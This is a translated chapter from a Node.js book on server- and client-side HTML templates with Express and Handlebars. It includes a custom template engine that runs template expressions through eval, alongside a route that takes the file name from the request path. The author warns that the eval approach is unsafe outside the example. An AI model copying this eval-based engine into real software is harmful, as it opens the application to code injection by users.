**registerCustomTemplateEngine(expressApp);**
**expressApp.set("views", "templates/server");**
expressApp.use(helmet());
expressApp.use(express.json());
**expressApp.****get("/dynamic/:file", (req, resp) => {**
 **resp.render(`${req.params.file}.custom`, { message: "Hello template" });**
});
expressApp.post("/test", testHandler);
expressApp.use(express.static("static"));
expressApp.use(express.static("node_modules/bootstrap/dist"));
expressApp.use((req, resp) => proxy.web(req, resp));
const server = createServer(expressApp);
server.on('upgrade', (req, socket, head) => proxy.ws(req, socket, head));
server.listen(port,
    () => console.log(`HTTP Server listening on port ${port}`)); 

调用列表 10.4中定义的registerCustomTemplateEngine设置自定义模板引擎。默认情况下,Express 在views文件夹中查找模板文件。

视图视图引擎是模板和模板引擎的别名,但为了保持术语的一致性,我使用了ExpressApp.set方法来更改模板文件的位置:

...
expressApp.**set**("views", "templates/server");
... 

Express 配置属性的完整集合可以在expressjs.com/en/4x/api.html#app.set找到,而views属性用于指定包含模板文件的目录。

Express 路由器用于匹配将由模板处理的请求,如下所示:

...
expressApp.**get**("/dynamic/:file", (req, resp) => {
    resp.**render**(`${req.params.file}.custom`, { message: "Hello template" });
});
... 

get方法创建一个匹配以/dynamic开头的路径的路由,并将下一个路径段捕获到名为file的路由参数中。请求处理器调用Response.render方法,该方法负责渲染模板。file路由参数用于创建渲染方法的第一个参数,即模板文件的名称。第二个参数是一个对象,为模板引擎提供上下文数据,以帮助它生成内容。在这个例子中,上下文对象定义了一个message属性,其值将包含在渲染输出中。

要测试自定义模板引擎,请使用浏览器请求http://localhost:5000/dynamic/basic。URL 中的dynamic部分将与新的 Express 路由匹配,而basic部分对应于模板文件夹中的basic.custom文件。自定义视图引擎将处理模板文件,并将结果写入响应,如图10.3所示。

图片

图 10.3:使用自定义模板引擎

在模板中评估表达式

将数据值插入模板是一个好的开始,但大多数模板引擎都支持评估 JavaScript 代码片段并将结果插入输出中。列表 10.5向模板添加了一些模板表达式。

列表 10.5:在 templates/server 文件夹中的 basic.custom 文件中添加表达式

<!DOCTYPE html>
<html>
    <head><link href="/css/bootstrap.min.css" rel="stylesheet" /></head>
    <body>
        <h3 class="m-2">Message: {{ message }}</h3>
        **<h3 class="m-2">Lower: {{ message.toLowerCase() }}</h3>**
 **<h3 class="****m-2">Count: {{ 2 * 3 }}</h3>**
    </body>
</html> 

列表 10.6通过使用 JavaScript 的eval函数为模板引擎添加了对评估表达式的支持。

注意

JavaScript 的eval函数很危险,尤其是如果有可能与用户提供的内容或数据一起使用,因为它可以用来执行任何 JavaScript 代码。这本身就是一个使用经过良好测试的模板引擎包(如在使用模板包部分介绍的那个)的充分理由。

列表 10.6:在 src/server 文件夹中的 custom_engine.ts 文件中评估表达式

import { readFile } from "fs";
import { Express } from "express";
const renderTemplate = (path: string, context: any,
    callback: (err: any, response: string | undefined) => void) => {
    readFile(path, (err, data) => {
        if (err != undefined) {
            callback("Cannot generate content", undefined);
        } else {
            callback(undefined, parseTemplate(data.toString(), context));           
        }
    });
};
const parseTemplate = (template: string, context: any) => {
   ** const ctx = Object****.keys(context)**
 **.map((k) => `const ${k} = context.${k}`)**
 **.join(";");**
    const expr = /{{(.*)}}/gm;
    return template.toString().replaceAll(expr, (match, group) => {
      **  return eval(`****${ctx};${group}`);**
    });
}
export const registerCustomTemplateEngine = (expressApp: Express) =>
    expressApp.engine("custom", renderTemplate); 

使用eval的困难之处在于确保在评估表达式时上下文数据作为局部变量可用。为了确保上下文数据在作用域内,我为上下文对象的每个属性创建一个字符串,并将这些字符串与要评估的表达式组合起来,如下所示:

...
"const message = context.message; message.toLowerCase()"
... 

这种方法确保表达式有一个message值可以使用,例如。使用eval有一些严重的风险,但对于示例应用程序来说是可以的,尽管需要重复的是,在实际项目中,尤其是在处理用户提供的资料时,应该使用真正的模板包。使用浏览器窗口请求http://localhost:5000/dynamic/basic,你将看到图 10.4中显示的结果。(浏览器不会自动重新加载,所以你可能需要发出新的请求或重新加载浏览器)。

图 10.4:在模板中评估 JavaScript 表达式

添加模板功能

评估表达式的功能为创建附加功能提供了一个基础,这些功能可以轻松地编写为 JavaScript 函数并添加到解析模板时使用的上下文中。将名为custom_features.ts的文件添加到src/server文件夹中,其内容如列表 10.7所示。

编译模板

大多数真实的模板引擎都会编译它们的模板,这意味着模板会被转换成一系列可以调用来生成内容的 JavaScript 函数。这不会改变生成的内容,但它可以提高性能,因为输出可以在不需要读取和搜索模板文件的情况下创建。客户端模板也会被编译,以便 JavaScript 函数可以呈现给浏览器。你可以在本章后面的使用模板包部分看到一个此过程的示例。

列表 10.7:src/server 文件夹中 custom_features.ts 文件的内容

import { readFileSync } from "fs";
export const style = (stylesheet: string) => {
    return `<link href="/css/${stylesheet}" rel="stylesheet" />`;
}
export const partial = (file: string, context: any) => {
    const path = `./${context.settings.views}/${file}.custom`;
    return readFileSync(path, "utf-8");
} 

此文件定义了一个接受样式表名称并返回一个link元素的style函数。partial函数读取另一个模板文件,并返回其内容以包含在整体内容中。partial函数接收一个上下文对象,它使用该对象来定位请求的文件:

...
const path = `./${**context.settings.views**}/${file}.custom`;
... 

Express 提供的上下文对象传递给模板引擎,它有一个settings属性,该属性返回一个包含应用程序配置的对象。其中设置属性之一是views,它返回模板文件的位置(templates/server文件夹)。列表 10.8修改了模板以使用这些新功能。

注意

列表 10.7中的partial函数执行一个阻塞操作来读取文件内容。正如第四章中解释的,这是应该尽可能避免的事情,我仅为了简单起见使用了readFileSync函数。

列表 10.8:在 templates/server 文件夹中的 basic.custom 文件中使用模板功能

<!DOCTYPE html>
<html>
    **<head>{{ @style("bootstrap.min.css") }}</head>**
    <body>
        **{{ @partial("message") }}**
        <h3 class="m-2">Message: {{ message }}</h3>
        <h3 class="m-2">Lower: {{ message.toLowerCase() }}</h3>
        <h3 class="m-2">Count: {{ 2 * 3 }}</h3>
    </body>
</html> 

新功能使用@前缀访问,这使得在解析模板时很容易找到它们。在列表 10.8中,@style表达式将调用style函数来创建 Bootstrap CSS 文件的link元素,而@partial表达式将调用partial函数来加载名为message的模板。为了创建将由@partial表达式加载的模板——称为部分模板——在templates/server文件夹中创建一个名为message.custom的文件,其内容如列表 10.9所示。

列表 10.9:在 templates/server 文件夹中的 message.custom 的内容

<div class="bg-primary text-white m-2 p-2">
    {{ message }}
</div> 

将表达式映射到功能

剩下的只是将模板中的@表达式转换为调用列表 10.7中函数的 JavaScript 语句。以下是一个表达式示例:

...
{{ @partial("message") }}
... 

上述表达式将被翻译成以下内容:

...
features.partial("message", context);
... 

一旦翻译完成,结果可以像任何其他表达式一样进行评估。列表 10.10将模板引擎更改为支持新功能。

列表 10.10:在 src/server 文件夹中的 custom_engine.ts 文件中支持模板功能

import { readFile } from "fs";
import { Express } from "express";
**import * as features from "./custom_features";**
const renderTemplate = (path: string, context: any,
    callback: (err: any, response: string | undefined) => void) => {
    readFile(path, (err, data) => {
        if (err != undefined) {
            callback("Cannot generate content", undefined);
        } else {
            **callback(****undefined, parseTemplate(data.toString(),**
 **{ ...context, features }));**
        }
    });
};
const parseTemplate = (template: string, context: any) => {
    const ctx = Object.keys(context)
        .map((k) => `const ${k} = context.${k}`)
        .join(";");
    const expr = /{{(.*)}}/gm;
    return template.toString().replaceAll(expr, (match, group) => {
        **const evalFunc= (expr: string) => {**
 **return eval(****`${ctx};${expr}`)**
 **}**
 **try {**
 **if (group.trim()[0] === "@") {**
 **group = `features.${group.trim().substring(1)}****`;**
 **group = group.replace(/\)$/m, ", context, evalFunc)");**
 **}**
 **let result = evalFunc(group);**
 **if (expr.test(result)) {**
 **result = parseTemplate(result, context);**
 **}**
 **return result;**
 **} catch (****err: any) {**
 **return err;**
 **}**
    });
}
export const registerCustomTemplateEngine = (expressApp: Express) =>
    expressApp.engine("custom", renderTemplate); 

列表 10.7中定义的函数被导入并赋予features前缀。字符串操作将@表达式转换为函数名,并添加context属性和eval函数。这允许表达式访问上下文对象、它包含的设置以及使用上下文评估表达式的功能。@特征的结果可能包含其他模板表达式;因此,使用正则表达式递归解析结果。

使用浏览器请求http://localhost:5000/dynamic/basic,你将看到新功能产生的输出,如图 10.5所示。

图片

图 10.5:添加模板功能

使用模板创建简单的往返应用

模板引擎很简单,但它恰好有足够的功能来创建一个基本的应用程序,根据用户交互改变显示的 HTML,这是任何网络应用的关键功能。为了演示,我将向用户展示一个按钮,该按钮增加计数器的值,计数器的值将导致向用户展示不同的内容。这是一个往返应用的例子,其中每次交互都需要向服务器发送 HTTP 请求以获取新的 HTML 文档来显示给用户。

第一步是将表示 HTTP 请求的对象添加到自定义模板引擎提供的上下文数据中,如列表 10.11所示。

列表 10.11:在 src/server 文件夹中的 server.ts 文件中添加上下文数据

...
expressApp.get("/dynamic/:file", (req, resp) => {
   ** resp.render(`${req.params.file}.custom`, {**
**message: "Hello template", req**
 **});**
});
... 

接下来,将一个名为counter.custom的文件添加到templates/server文件夹中,其内容如列表 10.12所示。

列表 10.12:在 templates/server 文件夹中的 counter.custom 文件的内容

<!DOCTYPE html>
<html>
    <head>{{ @style("bootstrap.min.css") }}</head>
    <body>
        <a class="btn btn-primary m-2"
            href="/dynamic/counter?c={{ Number(req.query.c ?? 0) + 1}}">
                Increment
        </a>
        <div>
            {{ @conditional("(req.query.c ?? 0) % 2", "odd", "even") }}       
        </div>
    </body>
</html> 

此模板包含一个锚点元素(a标签),当点击时,会使用包含名为c的查询字符串参数的 URL 从后端服务器请求新的 HTML 文档。请求 URL 中包含的c的值总是比显示给用户的值多 1,因此点击按钮的效果是增加计数器。

模板包含一个@conditional表达式,该表达式将被用来渲染c的奇偶值对应的不同的部分模板。@conditional的参数是一个要评估的表达式和两个部分模板名称,当表达式评估时,将用于truefalse结果。

要创建用于奇数值的部分模板,请将名为odd.custom的文件添加到templates/server文件夹中,其内容如列表 10.13所示。

列表 10.13:templates/server 文件夹中 odd.custom 文件的内容

<h4 class="bg-primary text-white m-2 p-2">
    Odd value: {{ req.query.c ?? 0}}
</h4> 

要创建用于偶数值的部分模板,请将名为even.custom的文件添加到templates/server文件夹中,其内容如列表 10.14所示。

列表 10.14:templates/server 文件夹中 even.custom 文件的内容

<h4 class="bg-secondary text-white m-2 p-2">
    Even value: {{ req.query.c ?? 0}}
</h4> 

剩下的步骤是实现@conditional表达式作为模板功能,如列表 10.15所示。

列表 10.15:在 src/server 文件夹中的 custom_features.ts 文件中添加条件功能

import { readFileSync } from "fs";
export const style = (stylesheet: string) => {
    return `<link href="/css/${stylesheet}" rel="stylesheet" />`;
}
export const partial = (file: string, context: any) => {
    const path = `./${context.settings.views}/${file}.custom`;
    return readFileSync(path, "utf-8");
}
**export const conditional = (expression: string,**
 **trueFile: string, falseFile: string, context: any,**
 **evalFunc: (expr: string) => any) => {**
 **return partial(evalFunc(expression) ? trueFile : falseFile, context);**
**}** 

conditional函数接受一个表达式、两个文件路径、一个上下文对象和一个用于评估表达式的函数。表达式被评估,结果传递给partial函数,有效地根据表达式是否评估为truefalse选择部分视图。

使用浏览器请求http://localhost:5000/dynamic/counter并点击增加按钮。每次点击都会导致浏览器请求一个类似http://localhost:5000/dynamic/counter?c=1的 URL,c的值用于选择响应中的 HTML 内容,如图图 10.6所示。

图片

图 10.6:使用模板创建简单的往返应用

使用客户端 HTML 模板

之前示例的一个缺点是,每次点击“增加”时,都会生成并发送一个新的 HTML 文档到浏览器,即使只有 HTML 的一个部分发生了变化。

客户端 HTML 模板执行与它们的服务器端对应模板相同的任务,但模板由在浏览器中运行的 JavaScript 代码解析。这允许一种有针对性的方法,即修改选定的元素,这比等待新的 HTML 文档更具有响应性。这是单页应用SPAs)的基础,其中向客户端发送单个 HTML 文档,然后由 JavaScript 代码进行修改。

客户端模板的主要困难在于它们必须完全用 JavaScript 编写,这可能会使以易于阅读和维护的方式表达 HTML 内容变得尴尬。

最受欢迎的客户端框架,如 React 和 Angular,使用比纯 JavaScript 更容易阅读的客户端模板格式,但它们使用编译器将模板转换为 JavaScript 函数,以便将其添加到浏览器接收的 JavaScript 包中。

大型框架使用的模板具有其他好处,例如,使组合模板以创建复杂内容变得容易,并确保 HTML 元素的更新尽可能高效。

但是,抛开这些特性不谈,客户端生成内容的过程与服务器端生成内容的过程相似。了解客户端模板涉及的问题的一个好方法是使用客户端 JavaScript 重新创建上一节中的反例。首先,将一个名为counter_custom.js的文件添加到src/client文件夹中,其内容如清单 10.16所示。

客户端与服务器端模板

大多数 Web 应用程序项目倾向于混合使用服务器端和客户端模板,因为每种类型的模板都解决不同的问题。

服务器端模板需要为每个 HTML 文档建立 HTTP 连接,这可能会影响性能。然而,这种性能损失可以通过浏览器接收 HTML 文档内容后显示速度的快慢来抵消。

客户端模板对变化的响应更高效,且无需进行额外的 HTTP 请求,但这种优势可能会因为最初需要传输 JavaScript 代码和状态数据而被削弱。当使用 React 或 Angular 等框架时,框架的 JavaScript 也必须传输,这可能在设备能力较弱和网络不可靠的地区成为障碍。

为了弥合差距,提供两者的最佳特性,一些框架提供了服务器端渲染SSR)功能,其中模板在服务器上渲染以创建一个往返版本的应用程序,该版本可以由浏览器快速显示。一旦服务器渲染的内容显示出来,浏览器请求 JavaScript 代码,并过渡到单页应用程序。SSR 在近年来有所改进,但仍然笨拙,并不适合所有项目。

清单 10.16:src/client文件夹中counter_custom.js文件的内容

import { Odd } from "./odd_custom";
import { Even } from "./even_custom";
export const Counter = (context) => `
    <button class="btn btn-primary m-2" action="incrementCounter">
        Increment
    </button>
    <div>
        ${ context.counter % 2 ? Odd(context) : Even(context) }
    </div>` 

本例中的模板是返回 HTML 字符串的 JavaScript 函数,这是创建客户端模板的最简单方式,并且不需要编译器。JavaScript 模板函数将接收一个context参数,该参数包含当前应用程序状态。

JavaScript 字符串功能使得将数据值插入 HTML 字符串变得容易。在这种情况下,函数接收到的context对象上counter属性的值用于在OddEven函数之间进行选择,这比服务器端模板示例中的等效功能更简单。

这种方法的一个问题是处理元素事件可能很困难。不仅示例应用程序的内容安全策略阻止了内联事件处理器,而且定义使用 HTML 字符串中的上下文数据的处理函数可能也很困难。

为了解决这个问题,我在10.16列表中的button元素上添加了一个action属性,其值为incrementCounter。按钮的事件将被允许在 HTML 文档中向上传播,我将使用action属性的值来决定如何响应。

要创建显示偶数值的局部视图,将名为even_custom.js的文件添加到src/client文件夹中,其内容如10.17列表所示。

列表 10.17:src/client 文件夹中 even_custom.js 文件的内容

export const Even = (context) => `
    <h4 class="bg-secondary text-white m-2 p-2">
        Even value: ${ context.counter }
    </h4>` 

该函数返回的 HTML 字符串包括counter.couter属性的值。要创建奇数值的模板,在src/client文件夹中创建一个名为odd_custom.js的文件,其内容如列表 10.18所示。

列表 10.18:src/client 文件夹中 odd_custom.js 文件的内容

export const Odd = (context) => `
    <h4 class="bg-primary text-white m-2 p-2">
        Odd value: ${ context.counter }
    </h4>` 

列表 10.19替换了client.js文件中的代码,以使用新的模板函数并定义它们所需的功能。

列表 10.19:src/client 文件夹中 client.js 文件的内容替换

import { Counter } from "./counter_custom";
const context = {
    counter: 0
}
const actions = {
    incrementCounter: () => {
        context.counter++; render();
    }
}
const render = () => {
    document.getElementById("target").innerHTML = Counter(context);
}
document.addEventListener('DOMContentLoaded', () => {
    document.onclick = (ev) => {
        const action = ev.target.getAttribute("action")
        if (action && actions[action]) {
            actions[action]()
        }
    }
    render();
}); 

DOMContentLoaded事件被触发,这表示浏览器已经完成了解析 HTML 文档时,会创建一个用于click事件的监听器,并调用render函数。

render函数调用Counter模板函数,并使用它接收到的 HTML 字符串来设置一个idtarget的 HTML 元素的内容。当接收到click事件时,会检查事件的目标是否有action属性,并使用其值从actions对象中选择一个要执行的功能。示例中有一个动作,它增加context对象的counter属性,并调用render函数来更新向用户展示的内容。

最终一步是从静态 HTML 文档中移除现有内容,并创建一个将用客户端模板内容填充的元素,如图10.20所示。

列表 10.20:static 文件夹中 index.html 文件中的 HTML 文档准备

<!DOCTYPE html>
<html>
    <head>
        <script src="img/bundle.js"></script>
        <link href="css/bootstrap.min.css" rel="stylesheet" />
    </head>
    <body>
        **<div id="target"></div>**
 **<!-- <button id="btn" class="btn btn-primary m-2">Send Request</button>**
 **<table class="table table-striped">**
 **<tbody>**
 **<tr><th>Status</th><td id="msg"></td></tr>**
 **<tr><th>Response</th><td id="body"></td></tr>**
 **</tbody>**
 **</table> -->**
    </body>
</html> 

使用浏览器请求http://localhost:5000,你将看到由服务器端模板生成的相同内容。不同之处在于,当点击增量按钮时,状态变化由渲染客户端模板处理,如图10.7所示,无需从后端服务器请求新的 HTML 文档。

图片

图 10.7:使用简单的客户端模板

使用模板包

本章迄今为止的示例已经展示了如何使用模板来渲染内容,并展示了如何轻松创建一些基本功能。对于实际项目,采用 JavaScript 可用的优秀模板包中的一种更为合理。在 part2app 文件夹中运行 清单 10.21 中显示的命令,以安装最广泛使用的模板包之一,名为 Handlebars,以及一个将其集成到 Express 中的包。

清单 10.21:安装模板包

npm install handlebars@4.7.8
npm install express-handlebars@7.1.2 

有许多模板包可供选择,它们都提供了类似的功能。包之间主要的不同在于模板的编写方式和表达式的表示方式。{{}} 字符是一个表示表达式的常见方式,并且因为它们的括号形状像胡子,所以被称为 mustache 模板。Handlebars 包 (handlebarsjs.com) 使用这种表达方式,正如其名称所暗示的那样。这是我习惯的 JavaScript 模板风格,当选择模板包时,熟悉度有很大的帮助。

注意

如果你不喜欢 mustache 风格的模板,还有其他选择。Pug 包 (pugjs.org) 依赖于缩进来结构化模板,这是一个流行的选择,而 嵌入式 JavaScript (EJS) (ejs.co) 包使用 <%%> 序列。不考虑风格偏好,所有这些包都编写得很好,并且有良好的支持水平。

使用服务器端模板包

Handlebars 模板是无逻辑的,这意味着它们不能包含用于生成内容的 JavaScript 片段。相反,定义辅助函数来实现生成内容所需的逻辑。将一个名为 template_helpers.ts 的文件添加到 src/server 文件夹中,其内容如 清单 10.22 所示。

清单 10.22:src/server 文件夹中 template_helpers.ts 文件的内容

export const style = (stylesheet: any) => {
    return `<link href="/css/${stylesheet}" rel="stylesheet" />`;
}
export const valueOrZero = (value: any) => {
    return value !== undefined ? value : 0;
}
export const increment = (value: any) =>  {
    return Number(valueOrZero(value)) + 1;
}
export const isOdd = (value: any) => {
    return Number(valueOrZero(value)) % 2;
} 

style 函数接受样式表的名称并为其生成一个链接元素。valueOrZero 函数检查一个值是否已定义,如果没有,则返回零。increment 函数增加一个值。isOdd 函数如果值是奇数则返回 true

定义模板

集成 Handlebars 到 Express 的包支持 布局,这些布局包含在模板中通常会被重复的公共元素。创建 templates/server/layouts 文件夹,并向其中添加一个名为 main.handlebars 的文件,其内容如 清单 10.23 所示。

清单 10.23:templates/server/layouts 文件夹中 main.handlebars 文件的内容

<!DOCTYPE html>
<html>
    <head>
        {{{ style "bootstrap.min.css" }}}
    </head>
    <body>
        {{{ body }}}
    </body>
</html> 

在此布局中有两个表达式。第一个调用在 清单 10.22 中定义的 style 辅助函数,使用 bootstrap.min.css 字符串作为参数(辅助函数的参数由空格分隔,而不是括号)。另一个表达式是 body,其中插入已请求的内容模板。

布局中的表达式用三个大括号({{{}}})表示,这告诉 Handlebars 将结果插入模板而不进行 HTML 安全转义。在处理从用户接收的数据时必须小心,大多数模板引擎会自动格式化内容,以便浏览器不会将其解释为 HTML。三个大括号的序列告诉 Handlebars 将结果传递而不进行格式化,这是当表达式生成 HTML 时所需的。

为了创建示例项目的主体服务器端模板,请将名为 counter.handlebars 的文件添加到 templates/server 文件夹中,其内容如 清单 10.24 所示。

列表 10.24:templates/server 文件夹中 counter.handlebars 的内容

<a class="btn btn-primary m-2"
    href="/dynamic/counter?c={{ increment req.query.c }}">
        Increment
</a>
{{#if (isOdd req.query.c) }}
    {{> odd }}
{{else}}
    {{> even }}
{{/if}} 

这是示例中需要的最复杂的模板。使用 increment 辅助函数创建浏览器在点击锚元素时请求的 URL:

...
href="/dynamic/counter?c=**{{ increment req.query.c }}**">
... 

双大括号表示一个模板表达式,可以格式化为 HTML 安全。此表达式调用 increment 辅助函数,并使用查询参数的值作为参数。辅助函数将增加它接收的值,并将结果包含在锚元素的 href 属性的值中。

其他表达式更复杂。首先,有一个 if/else 表达式,如下所示:

...
**{{#if (isOdd req.query.c) }}**
    {{> odd }}
**{{else}}**
    {{> even }}
**{{/if}}**
... 

#if 表达式将被评估,其结果用于确定是否将第一个或第二个块中的内容包含在结果中。在这个例子中,结果将应用进一步的模板表达式:

...
{{#if (isOdd req.query.c)}}
    **{{> odd }}**
{{else}}
    **{{> even }}**
{{/if}}
... 

> 字符告诉模板引擎加载一个部分模板。如果 #if 表达式为 true,则使用 odd 部分模板,否则使用 even 部分模板。表 10.3 描述了最有用的模板功能。

注意

您必须在 {{ 序列和其余表达式之间插入一个空格(或任何其他字符),否则模板引擎将报告错误。因此,{{/if}} 是可以的,但 {{ /if }} 将不会工作。

表 10.3:有用的模板功能

名称 描述

|

`{{#if val}}` 
如果表达式的值为 true,则内容将被包含在输出中。还有一个 {{else}} 子句,可以用来创建 if/then/else 效果。

|

`{{#unless val}}` 
如果表达式的值为 false,则内容将被包含在输出中。

|

`{{> partial }}` 
此表达式将指定的部分模板插入到结果中。

|

`{{each arr }}` 
此表达式重复数组中的每个元素的一组元素,如 第十二章 中所示。

要创建偶数值的局部模板,请创建 templates/server/partials 文件夹,并向其中添加一个名为 even.handlebars 的文件,其内容如 列表 10.25 所示。

列表 10.25:templates/server/partials 文件夹中 even.handlebars 文件的内容

<h4 class="bg-secondary text-white m-2 p-2">
    Handlebars Even value: {{ valueOrZero req.query.c }}
</h4> 

局部模板包含一个使用 valueOrZero 辅助函数的表达式,用于显示查询字符串中的 c 值或如果没有值则显示零。向 templates/server/partials 文件夹添加一个名为 odd.handlebars 的文件,其内容如 列表 10.26 所示。

列表 10.26:templates/server/partial 文件夹中 odd.handlebars 文件的内容

<h4 class="bg-primary text-white m-2 p-2">
    Handlebars Odd value: {{ valueOrZero req.query.c}}
</h4> 

使用 Handlebars 重新创建示例还有其他方法,它具有一些优秀的功能,但这种方法最接近之前创建的自定义引擎。最后一步是配置应用程序以使用 Handlebars,如 列表 10.27 所示。

列表 10.27:在 src/server 文件夹中的 server.ts 文件中设置模板引擎

import { createServer } from "http";
import express, {Express } from "express";
import { testHandler } from "./testHandler";
import httpProxy from "http-proxy";
import helmet from "helmet";
**//import { registerCustomTemplateEngine } from "./custom_engine";**
**import { engine } from "express-handlebars";**
**import * as helpers from "./template_helpers"****;**
const port = 5000;
const expressApp: Express = express();
const proxy = httpProxy.createProxyServer({
    target: "http://localhost:5100", ws: true
});
**//registerCustomTemplateEngine(expressApp);**
expressApp.set("views", "templates/server");
**expressApp.engine("handlebars", engine****());**
**expressApp.set("view engine", "handlebars");**
expressApp.use(helmet());
expressApp.use(express.json());
**expressApp.get("/dynamic/:file"****, (req, resp) => {**
 **resp.render(`${req.params.file}.handlebars`,**
 **{ message: "Hello template", req,**
 **helpers: { ...helpers }**
 **});**
**});**
expressApp.post("/test", testHandler);
expressApp.use(express.static("static"));
expressApp.use(express.static("node_modules/bootstrap/dist"));
expressApp.use((req, resp) => proxy.web(req, resp));
const server = createServer(expressApp);
server.on('upgrade', (req, socket, head) => proxy.ws(req, socket, head));
server.listen(port,
    () => console.log(`HTTP Server listening on port ${port}`)); 

express-handlebars 包用于将 Handlebars 模板引擎集成到 Express 中。一个不同之处在于帮助函数被添加到用于渲染模板的上下文对象中,但除此之外,配置与自定义引擎相似。

注意

Handlebars 与 Express 的集成提供了在 render 方法调用之外提供额外数据值(称为局部变量)的支持。第十五章 展示了如何使用此功能在模板中包含身份验证详细信息。

使用浏览器请求 http://localhost:5000/dynamic/counter,你将看到往返应用程序,但由真实的模板包渲染,局部模板中添加了“Handlebars”一词以强调更改,如 图 10.8 所示。

图 10.8:使用包进行服务器端模板

使用客户端模板的包

许多模板包也可以在浏览器中使用来创建客户端模板,但这需要在发送到浏览器的 HTML 文档中的 script 元素中包装模板,这样做很麻烦。因此,大多数模板包都提供了与流行的构建工具和打包器(如 webpack)的集成,这些工具将模板编译成 JavaScript 代码。在 part2app 文件夹中运行 列表 10.28 中显示的命令以添加一个集成 Handlebars 到 webpack 的包。

列表 10.28:安装集成包

npm install --save-dev handlebars-loader@1.7.3 

需要修改 webpack 配置文件以添加对编译 Handlebars 模板的支持,如 列表 10.29 所示。

列表 10.29:在 part2app 文件夹中的 webpack.config.mjs 文件中更改配置

import path from "path";
import { fileURLToPath } from 'url';
const __dirname = path.dirname(fileURLToPath(import.meta.url));
export default  {
    mode: "development",
    entry: "./src/client/client.js",
    devtool: "source-map",   
    output: {
        path: path.resolve(__dirname, "dist/client"),
        filename: "bundle.js"
    },
    devServer: {
        static: ["./static"],        
        port: 5100,
        client: { webSocketURL: "http://localhost:5000/ws" }
    },
  **  module: {**
 **rules: [**
 **{ test: /\.handlebars$/, loader: "handlebars-loader" }**
 **]**
 **},**
 **resolve: {**
**alias: {**
 **"@templates": path.resolve(__dirname, "templates/client")**
 **}**
 **}**
}; 

module 配置部分添加了对处理 Handlebars 模板的支持。resolve 部分创建了一个别名,以便可以从模板创建的 JavaScript 文件使用 @templates 导入,而不是在 import 语句中使用相对路径。

Webpack 无法检测其配置文件的变化,因此停止构建工具并再次运行npm start命令,以便新的配置生效。

要定义客户端模板,请在templates/client文件夹中添加一个名为counter_client.handlebars的文件,其内容如列表 10.30所示。

列表 10.30:templates/client文件夹中counter_client.handlebars文件的内容

<button class="btn btn-primary m-2" action="incrementCounter">
    Increment
</button>
<div>
    {{#if (isOdd counter) }}
        <h4 class="bg-primary text-white m-2 p-2">
            Client Odd Value: {{ counter }}
        </h4>               
    {{else}}
        <h4 class="bg-secondary text-white m-2 p-2">
            Client Even Value: {{ counter }}
        </h4>      
    {{/if}}
</div> 

所有 Handlebars 功能在客户端模板中都是可用的,包括部分模板,但我为了简单起见将它们全部组合在一起。内联事件处理器的安全内容策略限制仍然适用,因此我使用了button元素的action属性来标识当按钮被点击时应执行的操作。

客户端只需要一个助手。将一个名为isOdd.js的文件添加到templates/client文件夹中,其内容如列表 10.31所示。

列表 10.31:templates/client文件夹中isOdd.js文件的内容

export default (value) => value % 2; 

文件的位置由handlebars-loader包指定,默认配置中模板助手函数定义在单独的文件中,助手名称用作文件名,与使用它们的模板并列。列表 10.32更新了client.js文件以使用 Handlebars 模板。

列表 10.32:在src/client文件夹中的client.js文件中使用模板

**//import { Counter } from "./counter_custom";**
**import * as** **Counter from "@templates/counter_client.handlebars";**
const context = {
    counter: 0
}
const actions = {
    incrementCounter: () => {
        context.counter++; render();
    }
}
const render = () => {
    document.getElementById("target").innerHTML = Counter(context);
}
document.addEventListener('DOMContentLoaded', () => {
    document.onclick = (ev) => {
        const action = ev.target.getAttribute("action")
        if (action && actions[action]) {
            actions[action]()
        }
    }
    render();
}); 

编译后的模板是替换我在本章早期定义的定制函数的即插即用替代品。当 webpack 构建客户端包时,Handlebars 模板文件被编译成 JavaScript。(如果您在列表 10.32中保存更改时收到构建错误,请停止开发工具,并使用npm start命令重新启动它们)。

使用浏览器请求http://localhost:5000,您将看到如图图 10.9所示的客户端应用程序。

图片

图 10.9:使用客户端模板的包

摘要

在本章中,我演示了服务器端和客户端模板的工作原理,以及如何使用它们生成 HTML 内容。以下信息也得到了涵盖:

  • 模板是静态内容和数据值占位符的混合体。

  • 当模板被渲染时,结果是反映应用程序当前状态的 HTML 文档或片段。

  • 模板可以由 Node.js 作为服务器端模板渲染,或者由在浏览器中运行的 JavaScript 作为客户端模板渲染。

  • 客户端模板通常被编译成 JavaScript 函数,以便浏览器可以轻松渲染。

  • 有许多优秀的开源模板包可用,它们都提供类似的功能,但使用不同的模板文件格式。

在下一章中,我将解释如何使用 HTML 表单从用户那里接收数据,以及如何在接收到数据时验证数据。

第十一章:处理表单数据

在本章中,我演示了 Node.js 应用程序接收表单数据的方式,并解释了包括支持上传文件在内的差异。本章还解释了如何清理表单数据,以便它可以安全地包含在 HTML 文档中,以及在使用之前如何验证数据。表 11.1将本章置于上下文中。

表 11.1:将 HTML 表单置于上下文中

问题 答案
它们是什么? HTML 表单允许用户通过在表单字段中输入值来提供数据。
为什么它们有用? 表单是唯一一种可以以结构化方式从用户那里收集数据值的方式。
它们是如何使用的? HTML 文档包含一个form元素,该元素包含一个或多个允许输入数据的元素,例如input元素。
有没有陷阱或限制? 在将数据包含在 HTML 输出之前,必须对表单中输入的数据进行清理,并在应用程序使用之前进行验证。
有没有替代方案? 表单是高效地从用户那里收集数据的唯一方式。

表 11.2 总结了本章内容。

表 11.2:本章摘要

问题 解决方案 清单
从用户那里接收数据。 使用配置为向服务器发送数据的 HTML 表单。 1-10
接收用于非幂等操作的数 据时。 配置表单使用 HTTP POST请求。 11, 12
接收复杂的数据,包括文件内容。 使用多部分表单编码。 13-16
防止用户数据被解释为 HTML 元素。 清理从用户接收到的数据。 17-21
确保应用程序接收到有用的数据。 验证从用户接收到的数据。 22-27, 30-32
向用户提供即时验证反馈。 在表单提交之前在浏览器中验证数据。 28-29

为本章做准备

本章使用了第十章中的part2app项目。在part2app文件夹中运行清单 11.1中显示的命令以删除不再需要的文件。

提示

您可以从github.com/PacktPublishing/Mastering-Node.js-Web-Development下载本章的示例项目——以及本书中所有其他章节的示例项目。有关运行示例时遇到问题的帮助,请参阅第一章

清单 11.1:删除文件

rm ./templates/**/*.handlebars
rm ./templates/**/*.custom
rm ./src/client/*_custom.js
rm ./src/server/*custom*.ts 

接下来,将src/client文件夹中client.js文件的内容替换为清单 11.2中显示的内容。

清单 11.2:src/client文件夹中client.js文件的内容

document.addEventListener('DOMContentLoaded', () => {
    // do nothing
}); 

这只是一个占位符,直到本章的后面部分需要再次使用客户端代码时再替换。将static文件夹中index.html文件的 内容替换为清单 11.3中显示的元素。

清单 11.3:static文件夹中index.html文件的内容

